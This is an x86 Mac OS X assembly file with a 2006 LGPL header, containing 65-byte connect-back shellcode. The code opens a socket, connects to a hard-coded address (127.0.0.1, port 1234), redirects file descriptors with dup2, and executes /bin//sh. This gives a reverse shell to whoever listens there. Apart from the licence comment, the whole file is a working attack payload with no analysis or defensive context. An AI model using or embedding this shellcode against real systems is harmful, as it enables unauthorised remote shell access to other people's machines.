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osx-x86-cntsockcode.s
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/*
* osx-x86-cntsockcode.s
* Copyright 2006 Ramon de Carvalho Valle <[email protected]>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
*/
.global _start
_start:
# 65 bytes
cntsockcode:
pushl $0x0100007f
pushl $0xd20402ff
movl %esp,%edi
xorl %eax,%eax
pushl %eax
pushl $0x01
pushl $0x02
pushl $0x10
movb $0x61,%al
int $0x80
pushl %edi
pushl %eax
pushl %eax
pushl $0x62
popl %eax
int $0x80
pushl %eax
0:
pushl $0x5a
popl %eax
int $0x80
decl -0x18(%edi)
jns 0b
shellcode:
# xorl %eax,%eax
# pushl %eax
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp,%ebx
pushl %eax
pushl %esp
pushl %esp
pushl %ebx
pushl %eax
movb $0x3b,%al
int $0x80